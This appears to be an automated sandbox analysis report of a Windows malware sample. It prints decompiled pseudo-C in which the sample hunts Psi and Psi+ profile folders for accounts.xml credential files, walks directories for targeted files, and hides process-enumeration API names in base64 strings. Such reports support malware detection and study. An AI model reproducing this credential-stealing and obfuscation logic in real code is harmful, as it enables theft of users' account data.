GetCurrentProcessId.KERNEL32(?,-00000001,?,?,?,00416BAE,?,00000001,,?,?,,?,Zone: ,?,00416CA4), ref: 004164A6

Strings

Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90, xrefs: 004162E5
kernel32.dll, xrefs: 004162FB, 00416329
UHJvY2VzczMyRmlyc3RX, xrefs: 00416313
UHJvY2VzczMyTmV4dFc=, xrefs: 00416341
a2VybmVsMzIuZGxs, xrefs: 0041635D

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressLibraryLoadProc$Process32$CreateCurrentFirstNextProcessSnapshotToolhelp32
String ID: Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90$UHJvY2VzczMyRmlyc3RX$UHJvY2VzczMyTmV4dFc=$a2VybmVsMzIuZGxs$kernel32.dll
API String ID: 2493977601-4127804628
Opcode ID: 75ce460ff0779b10ec912f8cf19e568990f1a17f91b86831e489d1506f36fb5d
Instruction ID: 2c13e8732db89e5f4feef8cb650b0c3b12524099063521553718e4477c38e71b
Opcode Fuzzy Hash: 75ce460ff0779b10ec912f8cf19e568990f1a17f91b86831e489d1506f36fb5d
Instruction Fuzzy Hash: 779185709001199BCB10EFA9C985ADEB7B9FF84304F2181BAE509B7291D739DF858F58

Uniqueness

Uniqueness Score: -1.00%

Function 00413F58, Relevance: 14.5, APIs: 4, Strings: 4, Instructions: 496
fileCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00413F58(char __eax, int __ebx, void* __ecx, char __edx, void* __edi, signed int __esi, char _a4, char _a8, char _a12, intOrPtr _a16, char _a20) {
				char _v8;
				char _v12;
				char _v16;
				intOrPtr _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v53;
				intOrPtr _v56;
				struct _WIN32_FIND_DATAW _v648;
				char _v652;
				char _v656;
				char _v660;
				char _v664;
				char _v668;
				char _v672;
				intOrPtr _v676;
				char _v680;
				char _v684;
				char _v688;
				char _v692;
				char _v696;
				intOrPtr _v700;
				char _v704;
				char _v708;
				char _v712;
				char _v716;
				char _v720;
				char _v724;
				char _v728;
				char _v732;
				char _v736;
				char _v740;
				char _v744;
				intOrPtr _v748;
				char _v752;
				char _v756;
				char _v760;
				char _v764;
				char _v768;
				char _v772;
				char _v776;
				char _v780;
				char _v784;
				char _v788;
				char _v792;
				void* _t239;
				void* _t295;
				intOrPtr* _t299;
				void* _t301;
				int _t312;
				void* _t322;
				int _t333;
				signed int _t343;
				long _t349;
				int _t354;
				int _t377;
				int _t383;
				void* _t387;
				intOrPtr* _t425;
				intOrPtr _t428;
				intOrPtr* _t456;
				int _t460;
				intOrPtr _t464;
				intOrPtr* _t471;
				intOrPtr _t486;
				intOrPtr _t496;
				intOrPtr _t497;
				intOrPtr _t499;
				void* _t534;
				void* _t556;
				void* _t570;
				void* _t573;
				signed int _t575;
				intOrPtr _t577;
				intOrPtr _t578;
				intOrPtr* _t579;

				_t574 = __esi;
				_t458 = __ebx;
				_t577 = _t578;
				_push(__ecx);
				_t464 = 0x62;
				do {
					_push(0);
					_push(0);
					_t464 = _t464 - 1;
					_t580 = _t464;
				} while (_t464 != 0);
				_t1 =  &_v8;
				 *_t1 = _t464;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v16 =  *_t1;
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				E00404150( &_v12);
				E00404150( &_v16);
				E00404150( &_a20);
				_push(_t577);
				_push(0x41475d);
				_push( *[fs:eax]);
				 *[fs:eax] = _t578;
				_v20 = 0;
				E004062FC(_v8,  &_v652, _t580);
				E00403C3C( &_v8, _v652);
				E0040377C( &_v656, _a20);
				E00407A18(0x41477c,  &_v52, _v656, _t580);
				E0040377C( &_v660, _v12);
				E00407A18(0x414788,  &_v44, _v660, _t580);
				_t239 = E00404648(_v44);
				_t581 = _t239;
				if(_t239 == 0) {
					L46:
					_pop(_t486);
					 *[fs:eax] = _t486;
					_push(E00414767);
					E00403BF4( &_v792, 2);
					E00403508( &_v784, 2);
					E00403BDC( &_v776);
					E00403508( &_v772, 2);
					E00403BF4( &_v764, 6);
					E004034E4( &_v740);
					E00403BF4( &_v736, 5);
					E00403508( &_v716, 3);
					E00403BF4( &_v704, 3);
					E004034E4( &_v692);
					E00403BDC( &_v688);
					E004034E4( &_v684);
					E00403BF4( &_v680, 5);
					E00403508( &_v660, 2);
					E00403BDC( &_v652);
					_t496 =  *0x405f50; // 0x405f54
					E00404810( &_v52, _t496);
					E00403BDC( &_v48);
					_t497 =  *0x405f50; // 0x405f54
					E00404810( &_v44, _t497);
					E00403BF4( &_v40, 4);
					_t499 =  *0x413f34; // 0x413f38
					E00404810( &_v24, _t499);
					E00403BF4( &_v16, 3);
					return E00403BDC( &_a20);
				} else {
					_push(E00404648(_v24) + 1);
					E00404804();
					_t579 = _t578 + 4;
					_push(_v24 + E00404648(_v24) * 4 - 4);
					E004078D8(_v8, __ebx,  &_v664, _t581);
					_pop(_t295);
					E00403C18(_t295, _v664);
					while(E00404648(_v24) > 0) {
						_t299 =  *0x41b218; // 0x41cac4
						_t34 = _t299 + 4; // 0x0
						_t301 =  *_t299 - 0x4b000;
						asm("sbb edx, 0x0");
						_t471 =  *0x41b3fc; // 0x41cabc
						_t35 = _t471 + 4; // 0x0
						__eflags =  *_t34 -  *_t35;
						if(__eflags != 0) {
							if(__eflags <= 0) {
								goto L46;
							}
							L8:
							E004078D8( *((intOrPtr*)(_v24 + E00404648(_v24) * 4 - 4)), _t458,  &_v28, __eflags);
							E00403BDC(_v24 + E00404648(_v24) * 4 - 4);
							_t312 = E00404648(_v24) - 1;
							__eflags = _t312;
							_push(_t312);
							E00404804();
							_t579 = _t579 + 4;
							E00403E14( &_v672, 0x414790, _v28, __eflags);
							E004078D8(_v672, _t458,  &_v668, __eflags);
							_t322 = FindFirstFileW(E00403D98(_v668),  &_v648); // executed
							_t573 = _t322;
							do {
								_push(_v28);
								_push(0x41479c);
								_t474 = 0x104;
								E00403D6C( &_v680, 0x104,  &(_v648.cFileName));
								_push(_v680);
								E00403E78();
								E004078D8(_v676, _t458,  &_v32, __eflags);
								E004077C8(_v32, _t458, 0x104,  &_v36, _t574, __eflags);
								__eflags = (_v648.dwFileAttributes & 0x00000010) - 0x10;
								if((_v648.dwFileAttributes & 0x00000010) == 0x10) {
									L21:
									__eflags = _a8 - 1;
									if(_a8 != 1) {
										L30:
										__eflags = _a12 - 1;
										if(_a12 != 1) {
											goto L43;
										}
										E00403D6C( &_v756, 0x104,  &(_v648.cFileName));
										E00403EC0(_v756, 0x4147c0);
										if(__eflags == 0) {
											goto L43;
										}
										E00403D6C( &_v760, 0x104,  &(_v648.cFileName));
										E00403EC0(_v760, 0x4147cc);
										if(__eflags == 0) {
											goto L43;
										}
										_t343 = _v648.dwFileAttributes;
										__eflags = (_t343 & 0x00000010) - 0x10;
										if((_t343 & 0x00000010) != 0x10) {
											goto L43;
										}
										__eflags = (_t343 & 0x00000400) - 0x400;
										if(__eflags == 0) {
											goto L43;
										}
										E004078D8(_v32, _t458,  &_v764, __eflags);
										_t349 = GetFileAttributesW(E00403D98(_v764));
										__eflags = _t349 - 0xffffffff;
										if(_t349 == 0xffffffff) {
											goto L43;
										}
										_v53 = 0;
										_t458 = E00404648(_v52) - 1;
										__eflags = _t458;
										if(_t458 < 0) {
											L41:
											__eflags = _v53;
											if(_v53 == 0) {
												_t354 = E00404648(_v24) + 1;
												__eflags = _t354;
												_push(_t354);
												E00404804();
												_t579 = _t579 + 4;
												E00403C18(_v24 + E00404648(_v24) * 4 - 4, _v32);
											}
											goto L43;
										}
										_t460 = _t458 + 1;
										_t575 = 0;
										__eflags = 0;
										do {
											E004078D8(_v32, _t460,  &_v776, __eflags);
											E0040377C( &_v772, _v776);
											E0040633C(_v772, _t460,  &_v768, _t573, _t575);
											_push(_v768);
											E00403D88( &_v792,  *((intOrPtr*)(_v52 + _t575 * 4)));
											E004078D8(_v792, _t460,  &_v788, __eflags);
											E0040377C( &_v784, _v788);
											E0040633C(_v784, _t460,  &_v780, _t573, _t575);
											_pop(_t534);
											_t377 = E00403AD4(_v780, _t534);
											__eflags = _t377;
											if(_t377 != 0) {
												_v53 = 1;
											}
											_t575 = _t575 + 1;
											_t460 = _t460 - 1;
											__eflags = _t460;
										} while (__eflags != 0);
										goto L41;
									}
									E0040377C( &_v712, _v36);
									E0040633C(_v712, _t458,  &_v708, _t573, _t574);
									_t383 = E00403AD4(0x4147a8, _v708);
									__eflags = _t383;
									if(_t383 == 0) {
										goto L30;
									}
									E00413D08(_v32, _t458,  &_v40, _t574);
									_t387 = E00406910(_v40);
									__eflags = _t387 - _a16;
									if(_t387 > _a16) {
										goto L30;
									}
									_t458 = E00404648(_v44) - 1;
									__eflags = _t458;
									if(_t458 < 0) {
										goto L30;
									}
									_t458 = _t458 + 1;
									_t574 = 0;
									__eflags = 0;
									while(1) {
										E004077C8(_v40, _t458, _t474,  &_v720, _t574, __eflags);
										E0040377C( &_v716, _v720);
										_t474 = 0;
										__eflags = E00406144(_v716, _t458, 0,  *((intOrPtr*)(_v44 + _t574 * 4)), _t573, _t574);
										if(__eflags != 0) {
											break;
										}
										_t574 = _t574 + 1;
										_t458 = _t458 - 1;
										__eflags = _t458;
										if(__eflags != 0) {
											continue;
										}
										goto L30;
									}
									E004078D8(_v32, _t458,  &_v724, __eflags);
									E00403C3C( &_v32, _v724);
									E004078D8(_v8, _t458,  &_v728, __eflags);
									E00403C3C( &_v8, _v728);
									E004078D8(_v40, _t458,  &_v732, __eflags);
									E00403C3C( &_v40, _v732);
									_push(_v32);
									_push("._.");
									E004077C8(_v40, _t458, 0,  &_v736, _t574, __eflags);
									_push(_v736);
									E00403E78();
									E00403F90( &_v48, E00403DA8(_v8), 1, __eflags);
									_push(_v16);
									_push(0x41479c);
									_push(_v48);
									E00403E78();
									E004078D8(_v748, _t458,  &_v744, __eflags);
									E0040377C( &_v740, _v744);
									_push(_v740);
									E004078D8(_v40, _t458,  &_v752, __eflags);
									_pop(_t556);
									E0040E79C(_v752, _t458, _t556, _t573, _t574);
									_v20 = _v20 + 1;
									__eflags = _a4 - 1;
									if(_a4 == 1) {
										_t425 =  *0x41b3f8; // 0x41b0ac
										 *_t425 =  *_t425 + 1;
									}
									goto L30;
								}
								__eflags = _v648.nFileSizeHigh;
								if(_v648.nFileSizeHigh != 0) {
									goto L21;
								}
								_push(0);
								_push(_v648.nFileSizeLow >> 0xa);
								_t428 = _a16;
								asm("cdq");
								__eflags = 0 - _v56;
								if(__eflags != 0) {
									if(__eflags < 0) {
										goto L21;
									}
									L15:
									_t458 = E00404648(_v44) - 1;
									__eflags = _t458;
									if(_t458 < 0) {
										goto L21;
									}
									_t458 = _t458 + 1;
									_t574 = 0;
									__eflags = 0;
									while(1) {
										E0040377C( &_v684, _v36);
										_t474 = 0;
										__eflags = E00406144(_v684, _t458, 0,  *((intOrPtr*)(_v44 + _t574 * 4)), _t573, _t574);
										if(__eflags != 0) {
											break;
										}
										_t574 = _t574 + 1;
										_t458 = _t458 - 1;
										__eflags = _t458;
										if(_t458 != 0) {
											continue;
										}
										goto L21;
									}
									E004078D8(_v8, _t458,  &_v688, __eflags);
									E00403C3C( &_v8, _v688);
									E004078D8(_v32, _t458,  &_v48, __eflags);
									_t474 = E00403DA8(_v8);
									E00403F90( &_v48, _t443, 1, __eflags);
									_push(_v16);
									_push(0x41479c);
									_push(_v48);
									E00403E78();
									E004078D8(_v700, _t458,  &_v696, __eflags);
									E0040377C( &_v692, _v696);
									_push(_v692);
									E004078D8(_v32, _t458,  &_v704, __eflags);
									_pop(_t570);
									E0040E79C(_v704, _t458, _t570, _t573, _t574);
									_v20 = _v20 + 1;
									__eflags = _a4 - 1;
									if(_a4 == 1) {
										_t456 =  *0x41b3f8; // 0x41b0ac
										 *_t456 =  *_t456 + 1;
									}
									goto L21;
								}
								__eflags = _t428 -  *_t579;
								if(_t428 <  *_t579) {
									goto L21;
								}
								goto L15;
								L43:
								_t333 = FindNextFileW(_t573,  &_v648);
								__eflags = _t333;
							} while (_t333 != 0);
							FindClose(_t573);
							continue;
						}
						__eflags = _t301 -  *_t471;
						if(_t301 >  *_t471) {
							goto L8;
						} else {
							goto L46;
						}
					}
					goto L46;
				}
			}

0x00413f58
0x00413f58
0x00413f59
0x00413f5b
0x00413f5c
0x00413f61
0x00413f61
0x00413f63
0x00413f65
0x00413f65
0x00413f65
0x00413f68
0x00413f68
0x00413f6b
0x00413f6c
0x00413f6d
0x00413f6e
0x00413f71
0x00413f74
0x00413f7a
0x00413f82
0x00413f8a
0x00413f92
0x00413f99
0x00413f9a
0x00413f9f
0x00413fa2
0x00413fa7
0x00413fb3
0x00413fc1
0x00413fcf
0x00413fe2
0x00413ff0
0x00414003
0x0041400b
0x00414010
0x00414012
0x00414629
0x0041462b
0x0041462e
0x00414631
0x00414641
0x00414651
0x0041465c
0x0041466c
0x0041467c
0x00414687
0x00414697
0x004146a7
0x004146b7
0x004146c2
0x004146cd
0x004146d8
0x004146e8
0x004146f8
0x00414703
0x0041470b
0x00414711
0x00414719
0x00414721
0x00414727
0x00414734
0x0041473c
0x00414742
0x0041474f
0x0041475c
0x00414018
0x00414021
0x00414030
0x00414035
0x00414047
0x00414051
0x0041405c
0x0041405d
0x00414619
0x00414067
0x0041406c
0x00414071
0x00414076
0x00414079
0x0041407f
0x0041407f
0x00414082
0x0041408d
0x00000000
0x00000000
0x00414093
0x004140a5
0x004140b9
0x004140c6
0x004140c6
0x004140c7
0x004140d6
0x004140db
0x004140f3
0x00414104
0x00414115
0x0041411a
0x0041411c
0x0041411c
0x0041411f
0x00414130
0x00414135
0x0041413a
0x0041414b
0x00414159
0x00414164
0x00414172
0x00414175
0x004142a9
0x004142a9
0x004142ad
0x00414462
0x00414462
0x00414466
0x00000000
0x00000000
0x0041447d
0x0041448d
0x00414492
0x00000000
0x00000000
0x004144a9
0x004144b9
0x004144be
0x00000000
0x00000000
0x004144c4
0x004144cf
0x004144d2
0x00000000
0x00000000
0x004144dd
0x004144e2
0x00000000
0x00000000
0x004144f1
0x00414502
0x00414507
0x0041450a
0x00000000
0x00000000
0x00414510
0x0041451e
0x0041451f
0x00414521
0x004145c1
0x004145c1
0x004145c5
0x004145cf
0x004145cf
0x004145d0
0x004145df
0x004145e4
0x004145f9
0x004145f9
0x00000000
0x004145c5
0x00414527
0x00414528
0x00414528
0x0041452a
0x00414533
0x00414544
0x00414555
0x00414560
0x0041456d
0x0041457e
0x0041458f
0x004145a0
0x004145ab
0x004145ac
0x004145b1
0x004145b3
0x004145b5
0x004145b5
0x004145b9
0x004145ba
0x004145ba
0x004145ba
0x00000000
0x0041452a
0x004142bc
0x004142cd
0x004142dd
0x004142e2
0x004142e4
0x00000000
0x00000000
0x004142f0
0x004142f8
0x004142fd
0x00414300
0x00000000
0x00000000
0x00414310
0x00414311
0x00414313
0x00000000
0x00000000
0x00414319
0x0041431a
0x0041431a
0x0041431c
0x00414325
0x00414336
0x00414347
0x0041434e
0x00414350
0x00000000
0x00000000
0x0041445a
0x0041445b
0x0041445b
0x0041445c
0x00000000
0x00000000
0x00000000
0x0041445c
0x0041435f
0x0041436d
0x0041437b
0x00414389
0x00414397
0x004143a5
0x004143aa
0x004143ad
0x004143bb
0x004143c0
0x004143ce
0x004143e5
0x004143ea
0x004143ed
0x004143f2
0x00414400
0x00414411
0x00414422
0x0041442d
0x00414437
0x00414442
0x00414443
0x00414448
0x0041444b
0x0041444f
0x00414451
0x00414456
0x00414456
0x00000000
0x0041444f
0x0041417b
0x00414182
0x00000000
0x00000000
0x00414193
0x00414194
0x00414195
0x00414198
0x00414199
0x0041419d
0x004141ae
0x00000000
0x00000000
0x004141b4
0x004141be
0x004141bf
0x004141c1
0x00000000
0x00000000
0x004141c7
0x004141c8
0x004141c8
0x004141ca
0x004141d3
0x004141e4
0x004141eb
0x004141ed
0x00000000
0x00000000
0x004142a1
0x004142a2
0x004142a2
0x004142a3
0x00000000
0x00000000
0x00000000
0x004142a3
0x004141fc
0x0041420a
0x00414215
0x00414222
0x0041422c
0x00414231
0x00414234
0x00414239
0x00414247
0x00414258
0x00414269
0x00414274
0x0041427e
0x00414289
0x0041428a
0x0041428f
0x00414292
0x00414296
0x00414298
0x0041429d
0x0041429d
0x00000000
0x00414296
0x0041419f
0x004141a4
0x00000000
0x00000000
0x00000000
0x004145fe
0x00414606
0x0041460b
0x0041460b
0x00414614
0x00000000
0x00414614
0x00414084
0x00414086
0x00000000
0x00414088
0x00000000
0x00414088
0x00414086
0x00000000
0x00414619

APIs

FindFirstFileW.KERNEL32(00000000,?,?,0041A212), ref: 00414115

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Part of subcall function 00403BDC: SysFreeString.OLEAUT32(00000000), ref: 00403BEA

Strings

8?A, xrefs: 0041402A, 004140D0, 004145D9, 0041473C
.LNK, xrefs: 004142D8
._., xrefs: 004143AD
T_@, xrefs: 0041470B, 00414721

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: FreeString$FileFindFirst
String ID: .LNK$._.$8?A$T_@
API String ID: 1653790112-814392791
Opcode ID: 52c68fdeb631147d9b5d4a6f96e70152ba6313eaa710800b58f214d0988eea6f
Instruction ID: ccf2d574420f699031c81d78e58b697f7985245bee10ad08c344e755ebce9b4b
Opcode Fuzzy Hash: 52c68fdeb631147d9b5d4a6f96e70152ba6313eaa710800b58f214d0988eea6f
Instruction Fuzzy Hash: C2223F74A0011E9BDB10EF55C985ADEB7B9EF84308F1081B7E504B7291DB38AF868F59

Uniqueness

Uniqueness Score: -1.00%

Function 0040D988, Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 240
fileCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E0040D988(intOrPtr __eax, void* __ebx, void* __edi, void* __esi) {
				intOrPtr _v8;
				void* _v12;
				char _v16;
				struct _WIN32_FIND_DATAW _v608;
				char _v612;
				intOrPtr _v616;
				char _v620;
				char _v624;
				char _v628;
				intOrPtr _v632;
				char _v636;
				char _v640;
				char _v644;
				intOrPtr _v648;
				char _v652;
				char _v656;
				char _v660;
				intOrPtr _v664;
				char _v668;
				char _v672;
				void* _t84;
				intOrPtr* _t87;
				void* _t89;
				intOrPtr* _t95;
				void* _t125;
				intOrPtr* _t128;
				intOrPtr* _t136;
				void* _t138;
				void* _t176;
				intOrPtr _t201;
				intOrPtr _t206;
				intOrPtr _t207;
				void* _t218;
				intOrPtr _t220;
				void* _t225;
				intOrPtr _t227;
				intOrPtr _t231;
				intOrPtr _t232;

				_t229 = __esi;
				_t228 = __edi;
				_t175 = __ebx;
				_t231 = _t232;
				_t176 = 0x53;
				do {
					_push(0);
					_push(0);
					_t176 = _t176 - 1;
					_t233 = _t176;
				} while (_t176 != 0);
				_push(_t176);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v8 = __eax;
				_push(_t231);
				_push(0x40dd42);
				_push( *[fs:eax]);
				 *[fs:eax] = _t232;
				E004034E4(_v8);
				E004062FC(L"%Appdata%\\Psi+\\profiles\\",  &_v16, _t233);
				_push(_t231);
				_push(0x40db2b);
				_push( *[fs:eax]);
				 *[fs:eax] = _t232;
				E00403E14( &_v612, L"\\*.*", _v16, _t233);
				_t84 = FindFirstFileW(E00403D98(_v612),  &_v608); // executed
				_v12 = _t84;
				while(1) {
					_t87 =  *0x41b198; // 0x41c6b8
					_t89 =  *((intOrPtr*)( *_t87))(_v12,  &_v608);
					_t234 = _t89;
					if(_t89 == 0) {
						break;
					}
					E00403D6C( &_v620, 0x104,  &(_v608.cFileName));
					E00403E78();
					_t95 =  *0x41b358; // 0x41c698
					__eflags =  *((intOrPtr*)( *_t95))(E00403D98(_v616), L"\\accounts.xml", _v620, _v16) - 0xffffffff;
					if(__eflags != 0) {
						_push(_t231);
						_push(0x40dafb);
						_push( *[fs:eax]);
						 *[fs:eax] = _t232;
						_push( &_v624);
						_push(_v16);
						E00403D6C( &_v636, 0x104,  &(_v608.cFileName));
						_push(_v636);
						_push(L"\\accounts.xml");
						E00403E78();
						E00407228(_v632, _t175,  &_v628);
						_push(_v628);
						E00403760( &_v640, 0x104,  &(_v608.cFileName));
						_pop(_t225);
						E0040D5D4(_v640, _t175, "PsiPlus", _t225, _t228, _t229);
						E00403798(_v8, _v624);
						_pop(_t227);
						 *[fs:eax] = _t227;
					}
				}
				_pop(_t201);
				 *[fs:eax] = _t201;
				E004062FC(L"%Appdata%\\Psi\\profiles\\",  &_v16, _t234);
				_push(_t231);
				_push(0x40dcac);
				_push( *[fs:eax]);
				 *[fs:eax] = _t232;
				E00403E14( &_v644, L"\\*.*", _v16, _t234);
				_t125 = FindFirstFileW(E00403D98(_v644),  &_v608); // executed
				_v12 = _t125;
				while(1) {
					_push( &_v608);
					_push(_v12);
					_t128 =  *0x41b198; // 0x41c6b8
					if( *((intOrPtr*)( *_t128))() == 0) {
						break;
					}
					E00403D6C( &_v652, 0x104,  &(_v608.cFileName));
					E00403E78();
					_t136 =  *0x41b358; // 0x41c698
					_t138 =  *((intOrPtr*)( *_t136))(E00403D98(_v648), L"\\accounts.xml", _v652, _v16);
					__eflags = _t138 - 0xffffffff;
					if(_t138 != 0xffffffff) {
						_push(_t231);
						_push(0x40dc7c);
						_push( *[fs:eax]);
						 *[fs:eax] = _t232;
						_push( &_v656);
						_push(_v16);
						E00403D6C( &_v668, 0x104,  &(_v608.cFileName));
						_push(_v668);
						_push(L"\\accounts.xml");
						E00403E78();
						E00407228(_v664, _t175,  &_v660);
						_push(_v660);
						E00403760( &_v672, 0x104,  &(_v608.cFileName));
						_pop(_t218);
						E0040D5D4(_v672, _t175, 0x40de08, _t218, _t228, _t229);
						E00403798(_v8, _v656);
						_pop(_t220);
						 *[fs:eax] = _t220;
					}
				}
				_pop(_t206);
				 *[fs:eax] = _t206;
				_pop(_t207);
				 *[fs:eax] = _t207;
				_push(E0040DD4C);
				E004034E4( &_v672);
				E00403BF4( &_v668, 2);
				E00403508( &_v660, 2);
				E00403BF4( &_v652, 3);
				E004034E4( &_v640);
				E00403BF4( &_v636, 2);
				E00403508( &_v628, 2);
				E00403BF4( &_v620, 3);
				return E00403BDC( &_v16);
			}

0x0040d988
0x0040d988
0x0040d988
0x0040d989
0x0040d98b
0x0040d990
0x0040d990
0x0040d992
0x0040d994
0x0040d994
0x0040d994
0x0040d997
0x0040d998
0x0040d999
0x0040d99a
0x0040d99b
0x0040d9a0
0x0040d9a1
0x0040d9a6
0x0040d9a9
0x0040d9af
0x0040d9bc
0x0040d9c3
0x0040d9c4
0x0040d9c9
0x0040d9cc
0x0040d9e4
0x0040d9fc
0x0040d9fe
0x0040db05
0x0040db10
0x0040db17
0x0040db19
0x0040db1b
0x00000000
0x00000000
0x0040da1a
0x0040da35
0x0040da46
0x0040da4f
0x0040da52
0x0040da5a
0x0040da5b
0x0040da60
0x0040da63
0x0040da6c
0x0040da6d
0x0040da81
0x0040da86
0x0040da8c
0x0040da9c
0x0040daad
0x0040dab8
0x0040daca
0x0040dada
0x0040dadb
0x0040dae9
0x0040daf3
0x0040daf6
0x0040daf6
0x0040da52
0x0040db23
0x0040db26
0x0040db3d
0x0040db44
0x0040db45
0x0040db4a
0x0040db4d
0x0040db65
0x0040db7d
0x0040db7f
0x0040dc86
0x0040dc8c
0x0040dc90
0x0040dc91
0x0040dc9c
0x00000000
0x00000000
0x0040db9b
0x0040dbb6
0x0040dbc7
0x0040dbce
0x0040dbd0
0x0040dbd3
0x0040dbdb
0x0040dbdc
0x0040dbe1
0x0040dbe4
0x0040dbed
0x0040dbee
0x0040dc02
0x0040dc07
0x0040dc0d
0x0040dc1d
0x0040dc2e
0x0040dc39
0x0040dc4b
0x0040dc5b
0x0040dc5c
0x0040dc6a
0x0040dc74
0x0040dc77
0x0040dc77
0x0040dbd3
0x0040dca4
0x0040dca7
0x0040dcb8
0x0040dcbb
0x0040dcbe
0x0040dcc9
0x0040dcd9
0x0040dce9
0x0040dcf9
0x0040dd04
0x0040dd14
0x0040dd24
0x0040dd34
0x0040dd41

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,0040DB2B,?,00000000,0040DD42,?,00000000,?,00000000,00000052,00000000,00000000,?,0040E22C), ref: 0040D9FC
FindFirstFileW.KERNEL32(00000000,?,00000000,0040DCAC,?,0040DD42,?,00000000,?,00000000,00000052,00000000,00000000,?,0040E22C,00000000), ref: 0040DB7D

Part of subcall function 00407228: GetFileAttributesW.KERNEL32(00000000,00000000,00000000,00407353,?,?), ref: 00407274
Part of subcall function 00407228: CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,?,?), ref: 0040728A
Part of subcall function 00407228: GetFileAttributesW.KERNEL32(00000000,00000000,?,?), ref: 0040729F
Part of subcall function 00407228: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,?,?), ref: 004072B5

Strings

Psi, xrefs: 0040DC56
\*.*, xrefs: 0040D9DC, 0040DB5D
%Appdata%\Psi\profiles\, xrefs: 0040DB38
PsiPlus, xrefs: 0040DAD5
%Appdata%\Psi+\profiles\, xrefs: 0040D9B7
\accounts.xml, xrefs: 0040DA25, 0040DA8C, 0040DBA6, 0040DC0D

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$AttributesCreateFindFirst
String ID: %Appdata%\Psi+\profiles\$%Appdata%\Psi\profiles\$Psi$PsiPlus$\*.*$\accounts.xml
API String ID: 1956969033-1040989774
Opcode ID: 2a81cae0dcbc1482604e5349c18fe2c49d0dbde7bdfa7da4062947d316a445e7
Instruction ID: f17b77acd2409bcf6ac3a803ffb13a621a441686efa256e2204c39e6a2df67d3
Opcode Fuzzy Hash: 2a81cae0dcbc1482604e5349c18fe2c49d0dbde7bdfa7da4062947d316a445e7
Instruction Fuzzy Hash: 19A13D34A04219AFDB11EBA5CC95A9DB7BDEF49304F5085F6A408B3291DB38AF498F14

Uniqueness

Uniqueness Score: -1.00%

Function 00412D40, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 161
fileCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E00412D40(signed int __eax, char __ecx, char __edx, void* __edi, void* __esi, intOrPtr _a4) {
				signed int _v0;
				char _v4;
				char _v8;
				intOrPtr _v12;
				void* _v16;
				void* _v24;
				intOrPtr _v117;
				struct _WIN32_FIND_DATAW _v608;
				struct _WIN32_FIND_DATAW _v616;
				long _v620;
				long _v624;
				char _v628;
				char _v632;
				char _v636;
				char _v640;
				char _v644;
				char _v648;
				intOrPtr _v652;
				char _v656;
				signed int _t64;
				void* _t77;
				intOrPtr* _t80;
				void* _t83;
				int _t86;
				void* _t117;
				intOrPtr _t134;
				intOrPtr _t139;
				void* _t151;
				void* _t152;
				intOrPtr _t153;

				_t149 = __esi;
				_t148 = __edi;
				_pop(_t119);
				 *__eax =  *__eax + __eax;
				 *((intOrPtr*)(__eax + __eax)) =  *((intOrPtr*)(__eax + __eax)) + __eax;
				 *__eax =  *__eax + __eax;
				_pop(_t150);
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *((intOrPtr*)(__eax + __eax)) =  *((intOrPtr*)(__eax + __eax)) + __eax;
				 *__eax =  *__eax + __eax;
				_t64 = __eax | 0x00000a00;
				 *_t64 =  *_t64 + _t64;
				 *_t64 =  *_t64 + __ecx;
				 *_t64 =  *_t64 + _t64;
				 *0xd000a00 =  *0xd000a00 + __ecx;
				 *((intOrPtr*)(__edx)) =  *((intOrPtr*)(__edx)) + __ecx;
				 *_t64 =  *_t64 + _t64;
				 *_t64 =  *_t64 + _t64;
				_v117 = _v117 + __edx;
				_t151 = _t152;
				_t153 = _t152 + 0xfffffd74;
				_push(__esi);
				_push(__edi);
				_v624 = 0;
				_v628 = 0;
				_v640 = 0;
				_v644 = 0;
				_v648 = 0;
				_v632 = 0;
				_v636 = 0;
				_v616.dwFileAttributes = 0;
				_v620 = 0;
				_v616.ftCreationTime = 0;
				_v8 = __ecx;
				_v4 = __edx;
				_v0 = _t64;
				E00404150( &_v0);
				E00404150( &_v4);
				E00404150( &_v8);
				_push(_t151);
				_push(0x412fd4);
				_push( *[fs:eax]);
				 *[fs:eax] = _t153;
				E00403E14( &(_v616.ftCreationTime), L"\\*.*", _v0, 0);
				_t77 = FindFirstFileW(E00403D98(_v616.ftCreationTime),  &_v608); // executed
				_v16 = _t77;
				do {
					_push(_v8);
					_push(0x412ffc);
					E00403D6C( &_v628, 0x104,  &(_v616.cFileName));
					_push(_v628);
					_push(0x412ffc);
					_t80 =  *0x41b180; // 0x41c91c
					_push( *_t80);
					E00403E78();
					_t83 = E0040776C(_v624, 0, 0x104); // executed
					if(_t83 != 0) {
						_push(_t151);
						_push(0x412f48);
						_push( *[fs:eax]);
						 *[fs:eax] = _t153;
						if(_a4 == 0) {
							_push(_v8);
